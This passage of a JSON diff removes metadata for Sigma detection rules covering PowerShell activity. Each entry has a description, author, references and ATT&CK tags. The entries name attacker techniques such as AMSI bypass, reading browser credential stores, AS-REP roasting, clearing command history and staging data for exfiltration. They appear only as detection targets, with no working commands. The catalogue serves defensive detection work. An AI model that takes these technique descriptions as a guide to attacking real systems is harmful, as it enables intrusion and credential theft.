"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_ad_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "815bfc17-7fc6-4908-a55e-2f37b98cedb4", - "value": "AD Groups Or Users Enumeration Using PowerShell - PoshModule" - }, - { - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", - "meta": { - "author": "frack113", - "creation_date": "2021/07/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_susp_athremotefxvgpudisablementcommand.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_athremotefxvgpudisablementcommand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "38a7625e-b2cb-485d-b83d-aff137d859f4", - "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" - }, - { - "description": "Detects suspicious PowerShell download command", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/05", - "falsepositive": [ - "PowerShell scripts that download content from the Internet" - ], - "filename": "posh_pm_susp_download.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_download.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "de41232e-12e8-49fa-86bc-c05c7e722df9", - "value": "Suspicious PowerShell Download" - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_susp_get_nettcpconnection.yml", - "level": "low", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_get_nettcpconnection.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ] - }, - "uuid": "aff815cc-e400-4bf0-a47a-5d8a2407d4e1", - "value": "Use Get-NetTCPConnection" - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "meta": { - "author": "Florian Roth (rule)", - "creation_date": "2017/03/12", - "falsepositive": [ - "Very special / sneaky PowerShell scripts" - ], - "filename": "posh_pm_susp_invocation_generic.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_generic.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "bbb80e91-5746-4fbe-8898-122e2cafdbf4", - "value": "Suspicious PowerShell Invocations - Generic" - }, - { - "description": "Detects suspicious PowerShell invocation command parameters", - "meta": { - "author": "Florian Roth (rule), Jonhnathan Ribeiro", - "creation_date": "2017/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_susp_invocation_specific.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_invocation_specific.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "8ff28fdd-e2fa-4dfa-aeda-ef3d61c62090", - "value": "Suspicious PowerShell Invocations - Specific" - }, - { - "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/12", - "falsepositive": [ - "Administrator script" - ], - "filename": "posh_pm_susp_local_group_reco.yml", - "level": "low", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_local_group_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "cef24b90-dddc-4ae1-a09a-8764872f69fc", - "value": "Suspicious Get Local Groups Information" - }, - { - "description": "The Reset-ComputerMachinePassword cmdlet changes the computer account password that the computers use to authenticate to the domain controllers in the domain.\nYou can use it to reset the password of the local computer.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/21", - "falsepositive": [ - "Administrator PowerShell scripts" - ], - "filename": "posh_pm_susp_reset_computermachinepassword.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_reset_computermachinepassword.yml", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/reset-computermachinepassword?view=powershell-5.1" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "e3818659-5016-4811-a73c-dde4679169d2", - "value": "Suspicious Computer Machine Password by PowerShell" - }, - { - "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and\nto identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/15", - "falsepositive": [ - "Administrator script" - ], - "filename": "posh_pm_susp_smb_share_reco.yml", - "level": "low", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_smb_share_reco.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ] - }, - "uuid": "6942bd25-5970-40ab-af49-944247103358", - "value": "Suspicious Get Information for SMB Share" - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "meta": { - "author": "frack113", - "creation_date": "2021/07/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_susp_zip_compress.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_susp_zip_compress.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ] - }, - "uuid": "daf7eb81-35fd-410d-9d7a-657837e602bb", - "value": "Zip A Folder With PowerShell For Staging In Temp" - }, - { - "description": "Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.", - "meta": { - "author": "Ensar Şamil, @sblmsrsn, OSCD Community", - "creation_date": "2020/10/05", - "falsepositive": [ - "App-V clients" - ], - "filename": "posh_pm_syncappvpublishingserver_exe.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml", - "https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "fe5ce7eb-dad8-467c-84a9-31ec23bd644a", - "value": "SyncAppvPublishingServer Execution to Bypass Powershell Restriction" - }, - { - "description": "Detecting use WinAPI Functions in PowerShell", - "meta": { - "author": "Nikita Nazarov, oscd.community, Tim Shelton", - "creation_date": "2020/10/06", - "falsepositive": [ - "Carbon PowerShell Module (https://github.com/webmd-health-services/Carbon)" - ], - "filename": "posh_ps_accessing_win_api.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_accessing_win_api.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1106" - ] - }, - "uuid": "03d83090-8cba-44a0-b02f-0b756a050306", - "value": "Accessing WinAPI in PowerShell" - }, - { - "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/30", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_access_to_browser_login_data.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_access_to_browser_login_data.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.003" - ] - }, - "uuid": "fc028194-969d-4122-8abe-0470d5b8f12f", - "value": "Access to Browser Login Data" - }, - { - "description": "Detects powershell scripts that adds a Name Resolution Policy Table (NRPT) rule for the specified namespace.\nThis will bypass the default DNS server and uses a specified server for answering the query.\n", - "meta": { - "author": "Borna Talebi", - "creation_date": "2021/09/14", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_add_dnsclient_rule.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_add_dnsclient_rule.yml", - "https://docs.microsoft.com/en-us/powershell/module/dnsclient/add-dnsclientnrptrule?view=windowsserver2022-ps", - "https://twitter.com/NathanMcNulty/status/1569497348841287681" - ], - "tags": [ - "attack.impact", - "attack.t1565" - ] - }, - "uuid": "4368354e-1797-463c-bc39-a309effbe8d7", - "value": "Powershell Add Name Resolution Policy Table Rule" - }, - { - "description": "Detects execution of ADRecon.ps1 for AD reconnaissance which has been reported to be actively used by FIN7", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/07/16", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_adrecon_execution.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319", - "https://github.com/sense-of-security/ADRecon/blob/11881a24e9c8b207f31b56846809ce1fb189bcc9/ADRecon.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_adrecon_execution.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "bf72941a-cba0-41ea-b18c-9aca3925690d", - "value": "PowerShell ADRecon Execution" - }, - { - "description": "Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/11/09", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_amsi_bypass_pattern_nov22.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/cyb3rops/status/1588574518057979905?s=20&t=A7hh93ONM7ni1Rj1jO5OaA", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_amsi_bypass_pattern_nov22.yml", - "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001", - "attack.execution" - ] - }, - "uuid": "e0d6c087-2d1c-47fd-8799-3904103c5a98", - "value": "AMSI Bypass Pattern Assembly GetType" - }, - { - "description": "Detects Silence EmpireDNSAgent as described in the Group-IP report", - "meta": { - "author": "Alina Stepchenkova, Group-IB, oscd.community", - "creation_date": "2019/11/01", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_apt_silence_eda.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_apt_silence_eda.yml", - "https://www.group-ib.com/resources/threat-research/silence_2.0.going_global.pdf" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1071.004", - "attack.t1572", - "attack.impact", - "attack.t1529", - "attack.g0091", - "attack.s0363" - ] - }, - "uuid": "3ceb2083-a27f-449a-be33-14ec1b7cc973", - "value": "Silence.EDA Detection" - }, - { - "description": "Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication.", - "meta": { - "author": "frack113", - "creation_date": "2022/03/17", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_as_rep_roasting.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md#atomic-test-11---get-aduser-enumeration-using-useraccountcontrol-flags-as-rep-roasting", - "https://shellgeek.com/useraccountcontrol-flags-to-manipulate-properties/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_as_rep_roasting.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033" - ] - }, - "uuid": "96c982fe-3d08-4df4-bed2-eb14e02f21c8", - "value": "Get-ADUser Enumeration Using UserAccountControl Flags" - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_automated_collection.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_automated_collection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1119" - ] - }, - "uuid": "c1dda054-d638-4c16-afc8-53e007f3fbc5", - "value": "Automated Collection Command PowerShell" - }, - { - "description": "Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound", - "meta": { - "author": "Austin Songer (@austinsonger)", - "creation_date": "2021/10/23", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_azurehound_commands.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1", - "https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_azurehound_commands.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1482", - "attack.t1087", - "attack.t1087.001", - "attack.t1087.002", - "attack.t1069.001", - "attack.t1069.002", - "attack.t1069" - ] - }, - "uuid": "83083ac6-1816-4e76-97d7-59af9a9ae46e", - "value": "AzureHound PowerShell Commands" - }, - { - "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_capture_screenshots.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_capture_screenshots.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-6---windows-screen-capture-copyfromscreen" - ], - "tags": [ - "attack.collection", - "attack.t1113" - ] - }, - "uuid": "d4a11f63-2390-411c-9adf-d791fd152830", - "value": "Windows Screen Capture with CopyFromScreen" - }, - { - "description": "Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/25", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_clearing_windows_console_history.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://stefanos.cloud/blog/kb/how-to-clear-the-powershell-command-history/", - "https://www.shellhacks.com/clear-history-powershell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml", - "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.t1070.003" - ] - }, - "uuid": "bde47d4b-9987-405c-94c7-b080410e8ea7", - "value": "Clearing Windows Console History" - }, - { - "description": "Detects keywords that could indicate clearing PowerShell history", - "meta": { - "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2022/01/25", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_clear_powershell_history.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml", - "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ] - }, - "uuid": "26b692dc-1722-49b2-b496-a8258aa6371d", - "value": "Clear PowerShell History" - }, - { - "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_cl_invocation_lolscript.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "4cd29327-685a-460e-9dac-c3ab96e549dc", - "value": "Execution via CL_Invocation.ps1" - }, - { - "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_cl_invocation_lolscript_count.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml", - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "f588e69b-0750-46bb-8f87-0e9320d57536", - "value": "Execution via CL_Invocation.ps1 (2 Lines)" - }, - { - "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_cl_mutexverifiers_lolscript.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml", - "https://twitter.com/pabraeken/status/995111125447577600", - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "39776c99-1c7b-4ba0-b5aa-641525eee1a4", - "value": "Execution via CL_Mutexverifiers.ps1" - }, - { - "description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", - "meta": { - "author": "oscd.community, Natalia Shornikova", - "creation_date": "2020/10/14", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_cl_mutexverifiers_lolscript_count.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml", - "https://twitter.com/pabraeken/status/995111125447577600", - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ] - }, - "uuid": "6609c444-9670-4eab-9636-fe4755a851ce", - "value": "Execution via CL_Mutexverifiers.ps1 (2 Lines)" - }, - { - "description": "Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_cmdlet_scheduled_task.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task" - ], - "tags": [ - "attack.persistence", - "attack.t1053.005" - ] - }, - "uuid": "363eccc0-279a-4ccf-a3ab-24c2e63b11fb", - "value": "Powershell Create Scheduled Task" - }, - { - "description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2021/12/27", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_copy_item_system_directory.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll" - ], - "tags": [ - "attack.credential_access", - "attack.t1556.002" - ] - }, - "uuid": "63bf8794-9917-45bc-88dd-e1b5abc0ecfd", - "value": "Powershell Install a DLL in System Directory" - }, - { - "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR.\nThe COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR).\nThese profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.\n(Citation: Microsoft Profiling Mar 2017)\n(Citation: Microsoft COR_PROFILER Feb 2013)\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/30", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_cor_profiler.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler" - ], - "tags": [ - "attack.persistence", - "attack.t1574.012" - ] - }, - "uuid": "23590215-4702-4a70-8805-8dc9e58314a2", - "value": "Registry-Free Process Scope COR_PROFILER" - }, - { - "description": "Detects creation of a local user via PowerShell", - "meta": { - "author": "@ROxPinTeddy", - "creation_date": "2020/04/11", - "falsepositive": [ - "Legitimate user creation" - ], - "filename": "posh_ps_create_local_user.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_local_user.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.persistence", - "attack.t1136.001" - ] - }, - "uuid": "243de76f-4725-4f2e-8225-a8a69b15ad61", - "value": "PowerShell Create Local User" - }, - { - "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", - "meta": { - "author": "frack113", - "creation_date": "2022/01/12", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_ps_create_volume_shadow_copy.yml", - "level": "high", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml", - "https://attack.mitre.org/datasources/DS0005/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "afd12fed-b0ec-45c9-a13d-aa86625dac81", - "value": "Create Volume Shadow Copy with Powershell" - }, - { - "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Highly likely if archive operations are done via PowerShell." - ], - "filename": "posh_ps_data_compressed.yml", - "level": "low", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1560" - ] - }, - "uuid": "6dc5d284-69ea-42cf-9311-fb1c3932a69a", - "value": "Data Compressed - PowerShell" - }, - { - "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.\nThis may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox\n", - "meta": { - "author": "frack113, Duc.Le-GTSC", - "creation_date": "2021/08/03", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_detect_vm_env.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", - "https://techgenix.com/malicious-powershell-scripts-evade-detection/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1497.001" - ] - }, - "uuid": "d93129cd-1ee0-479f-bc03-ca6f129882e3", - "value": "Powershell Detect Virtualization Environment" - }, - { - "description": "Enumerates Active Directory to determine computers that are joined to the domain", - "meta": { - "author": "frack113", - "creation_date": "2022/02/12", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_ps_directorysearcher.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-15---enumerate-domain-computers-within-active-directory-using-directorysearcher", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directorysearcher.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "1f6399cf-2c80-4924-ace1-6fcff3393480", - "value": "DirectorySearcher Powershell Exploitation" - }, - { - "description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/28", - "falsepositive": [ - "Legitimate administrative script" - ], - "filename": "posh_ps_directoryservices_accountmanagement.yml", - "level": "medium", - "logsource.category": "ps_script", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", - 